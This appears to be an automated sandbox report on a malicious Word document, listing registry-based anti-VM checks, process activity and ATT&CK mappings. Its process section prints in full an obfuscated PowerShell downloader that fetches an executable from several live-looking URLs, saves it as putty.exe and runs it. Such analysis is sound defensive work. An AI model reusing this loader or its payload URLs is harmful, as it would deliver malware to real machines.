6cd246cd910e33eaee00e3d138bc49fcf85562b5f8c394d4b092372d25cc0eac

General

Target

Supergevaarlijkk.zip
Sample

191029-7v9yqqxm3n
SHA256

6cd246cd910e33eaee00e3d138bc49fcf85562b5f8c394d4b092372d25cc0eac

Score

N/A

Malware Config

Signatures

Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	pid	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	4936	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	4936	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4652	4936	powershell.exe	71

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4652	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4652	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4936	WINWORD.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4936	WINWORD.EXE

Drops Office document 4 IoCs

dropper exploiter maldoc

description	ioc	pid	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm	4936	WINWORD.EXE
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm	4936	WINWORD.EXE
File opened for modification	C:\Users\Admin\AppData\Local\Temp\0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc	4936	WINWORD.EXE
File created	C:\Users\Admin\AppData\Local\Temp\~$627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc	4936	WINWORD.EXE

Checks system information in the registry (likely anti-VM) 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	pid	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	4936	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	4936	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	4140	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	4140	svchost.exe

Drops file in system dir 7 IoCs

description	ioc	pid	Process
File created	\??\c:\windows\temp\putty.exe	4652	powershell.exe
File deleted	C:\Windows\Temp\putty.exe	4652	powershell.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	3872	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	3872	svchost.exe
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	3872	svchost.exe
File opened for modification	C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-2.tmp	3872	svchost.exe
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-2.tmp	3872	svchost.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	pid	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	4936	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	4936	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	4936	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	4936	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	4936	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3228 wrote to memory of 3712	3228	SppExtComObj.exe	76
PID 4936 wrote to memory of 4652	4936	WINWORD.EXE	78

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

description	ioc	pid	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "0"	2408	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "1"	2408	svchost.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc" /o ""
1⤵
- Checks processor information in registry (likely anti-VM)
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Drops Office document
- Checks system information in the registry (likely anti-VM)
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4936

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:3228

C:\Windows\System32\SLUI.exe
"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
1⤵
PID:3712

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $idIgw8 = '$zMbv9jt0l = new-obj15464.589749099ect -com15464.589749099obj15464.589749099ect wsc15464.589749099ript.she15464.589749099ll;$ILTY2 = new-object sys15464.589749099tem.net.web15464.589749099client;$rEAav7Xix = new-object random;$YiwXfglRS = \"15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://antigua.aguilarnoticias.com/nYZZcHxoYdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://mywedphoto.ru/SPcBpzOvD6_bogkPa,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki\".spl15464.589749099it(\",\");$iWybG3KDH = $rEAav7Xix.nex15464.589749099t(1, 65536);$jPBYO2 = \"c:\win15464.589749099dows\temp\put15464.589749099ty.exe\";for15464.589749099each($MOrNXe14G in $YiwXfglRS){try{$ILTY2.dow15464.589749099nlo15464.589749099adf15464.589749099ile($MOrNXe14G.ToS15464.589749099tring(), $jPBYO2);sta15464.589749099rt-pro15464.589749099cess $jPBYO2;break;}catch{}}'.replace('15464.589749099', $MGFnZb);$Wj3yxlHrU = '';iex($idIgw8);
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Drops file in system dir
PID:4652

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Drops file in system dir
PID:3872

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4292

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
1⤵
- Checks system information in the registry (likely anti-VM)
PID:4140

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup
1⤵
PID:2616

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
1⤵
- Windows security modification
PID:2408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

MITRE ATT&CK Additional techniques

T1089

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

MITRE ATT&CK Additional techniques

Replay Monitor

Loading Replay Monitor...

Downloads